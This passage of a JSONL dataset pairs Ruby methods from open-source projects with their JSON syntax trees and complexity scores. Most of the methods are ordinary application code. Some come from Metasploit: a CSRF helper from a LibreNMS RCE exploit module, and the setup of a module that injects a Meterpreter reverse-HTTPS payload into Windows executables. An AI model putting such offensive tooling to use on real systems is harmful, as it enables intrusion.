pts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"display_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"last_editor\"]},\"username\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"create_notification\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"calculated_type\"]},{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"notify\"]}]}]}","id":"92d0d3e4-7e58-4664-8f79-d39586acd4c5"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_skip_before_filter.rb","start_line":15,"raw_source":"def run_check\n    tracker.controllers.each do |_name, controller|\n      controller.skip_filters.each do |filter|\n        process_skip_filter filter, controller\n      end\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"controllers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_name\"]},{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"skip_filters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[null,\"process_skip_filter\",{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]}]}]}","id":"86241cca-f004-46af-af48-c1c7ff158958"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241015211946_drop_old_fk_on_work_item_widget_definitions.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists :work_item_widget_definitions,\n        column: :work_item_type_id,\n        name: CONSTRAINT_NAME\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"work_item_widget_definitions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"work_item_type_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"44a446cb-6496-4ba2-9d7c-b086b9f9faee"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/bookmarkable_helper.rb","start_line":66,"raw_source":"def self.reminder_conditions(bookmark)\n    bookmark.bookmarkable.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reminder_conditions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmark\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark\"]},\"bookmarkable\"]},\"present?\"]}]}","id":"d75288a9-c94b-4179-9795-ee130daa2089"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/accept_follow_serializer.rb","start_line":16,"raw_source":"def actor\n    ActivityPub::TagManager.instance.uri_for(object.target_account)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"target_account\"]}]}]}","id":"cbd25677-833b-489c-96f1-0b8dd588f91b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_container_image.rb","start_line":25,"raw_source":"def self.build_results_for_report_ChargebackContainerImage(options)\n    # Options: a hash transformable to Chargeback::ReportOptions\n\n    # Find Project by id or get all projects\n    provider_id = options[:provider_id]\n    id = options[:entity_id]\n\n    tag = options[:tag]\n    raise \"must provide option :entity_id, provider_id or tag\" if id.nil? && provider_id.nil? && tag.nil?\n\n    @container_images = if tag\n                          ContainerImage.find_tagged_with(:any => tag, :ns => '*')\n                        elsif provider_id == \"all\"\n                          ContainerImage.all\n                        elsif id == \"all\"\n                          ContainerImage.where(:ems_id => provider_id)\n                        else\n                          ContainerImage.where(:id => id)\n                        end\n\n    @container_images = @container_images.includes(:container_projects)\n    return [[]] if @container_images.empty?\n\n    @data_index = {}\n    @container_images.each do |container_image|\n      @data_index.store_path(:id, :container_projects, container_image.id, container_image.container_projects)\n    end\n\n    @unknown_project = OpenStruct.new(:id => 0, :name => _('Unknown Project'), :ems_ref => _('Unknown'))\n    @unknown_image   = OpenStruct.new(:id => 0, :full_name => _('Unknown Image'))\n\n    load_custom_attribute_groupby(options[:groupby_label]) if options[:groupby_label].present?\n\n    build_results_for_report_chargeback(options)\n  ensure\n    @data_index = @container_images = nil\n  end","complexity_score":56.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_results_for_report_ChargebackContainerImage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"provider_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_id\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"must provide option :entity_id, provider_id or tag\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@container_images\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerImage\"]},\"find_tagged_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"any\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_id\"]},\"==\",{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerImage\"]},\"all\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"==\",{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerImage\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"lvar\",\"children\":[\"provider_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerImage\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@container_images\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@container_images\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"container_projects\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@container_images\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@data_index\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@container_images\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container_image\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data_index\"]},\"store_path\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"container_projects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_image\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_image\"]},\"container_projects\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@unknown_project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unknown Project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_ref\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unknown\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@unknown_image\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_name\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unknown Image\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"groupby_label\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"load_custom_attribute_groupby\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"groupby_label\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"build_results_for_report_chargeback\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@data_index\",{\"type\":\"ivasgn\",\"children\":[\"@container_images\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"d45987cc-a51f-49c8-bfad-07f7bf656b7f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb","start_line":72,"raw_source":"def get_csrf_token(res)\n    res&.get_html_document&.at('meta[name=\"csrf-token\"]') ? res.get_html_document.at('meta[name=\"csrf-token\"]')['content'] : nil\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_csrf_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"at\",{\"type\":\"str\",\"children\":[\"meta[name=\\\"csrf-token\\\"]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"at\",{\"type\":\"str\",\"children\":[\"meta[name=\\\"csrf-token\\\"]\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"793bc7a8-abd4-4935-86c1-f37f1090c03a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250828150030_create_work_item_custom_status_mappings.rb","start_line":6,"raw_source":"def change\n    # Factory exists at spec/factories/work_items/statuses/custom/mappings.rb\n    create_table :work_item_custom_status_mappings do |t| # rubocop:disable Migration/EnsureFactoryForTable -- reason above\n      # Order doesn't matter because both bigint and datetime are 8 bytes\n      t.bigint :namespace_id, null: false\n      t.bigint :old_status_id, null: false\n      t.bigint :new_status_id, null: false\n      t.bigint :work_item_type_id, null: false\n      t.datetime_with_timezone :valid_from, null: true\n      t.datetime_with_timezone :valid_until, null: true\n\n      t.timestamps_with_timezone null: false\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"work_item_custom_status_mappings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"old_status_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"new_status_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"work_item_type_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"valid_from\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"valid_until\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"c6cddecb-c244-4abf-a66e-bb6919cb4d76"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/peinjector.rb","start_line":7,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Peinjector',\n        'Description' => %q{\n          This module will inject a specified windows payload into a target executable.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'Maximiliano Tedesco <maxitedesco1@gmail.com>'],\n        'Platform' => [ 'win' ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              peinjector_inject_shellcode\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [CONFIG_CHANGES],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('PAYLOAD', [false, 'Windows Payload to inject into the targer executable.', 'windows/meterpreter/reverse_https']),\n        OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),\n        OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]),\n        OptString.new('TARGETPE', [false, 'Path of the target executable to be injected']),\n        OptString.new('OPTIONS', [false, \"Comma separated list of additional options for payload if needed in \\'opt=val,opt=val\\' format.\"])\n      ]\n    )\n  end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Peinjector\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will inject a specified windows payload into a target executable.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Maximiliano Tedesco <maxitedesco1@gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"peinjector_inject_shellcode\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Windows Payload to inject into the targer executable.\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_https\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"LHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"IP of host that will receive the connection from the payload.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Port for Payload to connect to.\"]},{\"type\":\"int\",\"children\":[4433]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETPE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path of the target executable to be injected\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.\"]}]}]}]}]}]}]}","id":"38f86918-bb4c-47a6-8fb2-bb3995186069"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/roles_controller.rb","start_line":158,"raw_source":"def create_params\n    new_params\n      .merge(copy_workflow_from: params[:copy_workflow_from],\n             global_role: params[:global_role])\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"copy_workflow_from\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"copy_workflow_from\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"global_role\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"global_role\"]}]}]}]}]}]}","id":"30f66dcf-f587-4e12-8997-c969b255c9f8"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20210326172406_add_published_index_to_listings.rb","start_line":4,"raw_source":"def up\n    unless index_exists?(:classified_listings, :published)\n      add_index :classified_listings, :published, algorithm: :concurrently\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"classified_listings\"]},{\"type\":\"sym\",\"children\":[\"published\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"classified_listings\"]},{\"type\":\"sym\",\"children\":[\"published\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}","id":"78a62763-86ae-4c8e-8187-4c0ecfcfc0b4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/autoroute.rb","start_line":475,"raw_source":"def validate_cmd(subnet = nil, netmask = nil)\n    if subnet.nil?\n      print_error 'Missing subnet option'\n      return false\n    end\n\n    unless check_ip(subnet)\n      print_error 'Subnet invalid (must be IPv4)'\n      return false\n    end\n\n    if netmask && !Rex::Socket.addr_atoc(netmask)\n      print_error 'Netmask invalid (must define contiguous IP addressing)'\n      return false\n    end\n\n    if netmask && !check_ip(netmask)\n      print_error 'Netmask invalid'\n      return false\n    end\n    return true\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"subnet\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"netmask\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subnet\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Missing subnet option\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_ip\",{\"type\":\"lvar\",\"children\":[\"subnet\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Subnet invalid (must be IPv4)\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netmask\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_atoc\",{\"type\":\"lvar\",\"children\":[\"netmask\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Netmask invalid (must define contiguous IP addressing)\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netmask\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_ip\",{\"type\":\"lvar\",\"children\":[\"netmask\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Netmask invalid\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"505f5738-5819-4da8-b842-dd4e78497616"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/spec/features/support/board_list_page.rb","start_line":104,"raw_source":"def to_page(number)\n      within \".op-pagination--pages\" do\n        click_link number.to_s\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\".op-pagination--pages\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_link\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"to_s\"]}]}]}]}","id":"c5a70ef3-9898-442a-9be6-0cf74cbc5f7d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/webfinger.rb","start_line":34,"raw_source":"def links\n      @links ||= @json.fetch('links', []).group_by { |link| link['rel'] }\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@links\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"links\"]},{\"type\":\"array\",\"children\":[]}]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rel\"]}]}]}]}]}","id":"8dd0c0ec-5083-485b-8b50-24ff04cb7f4c"}
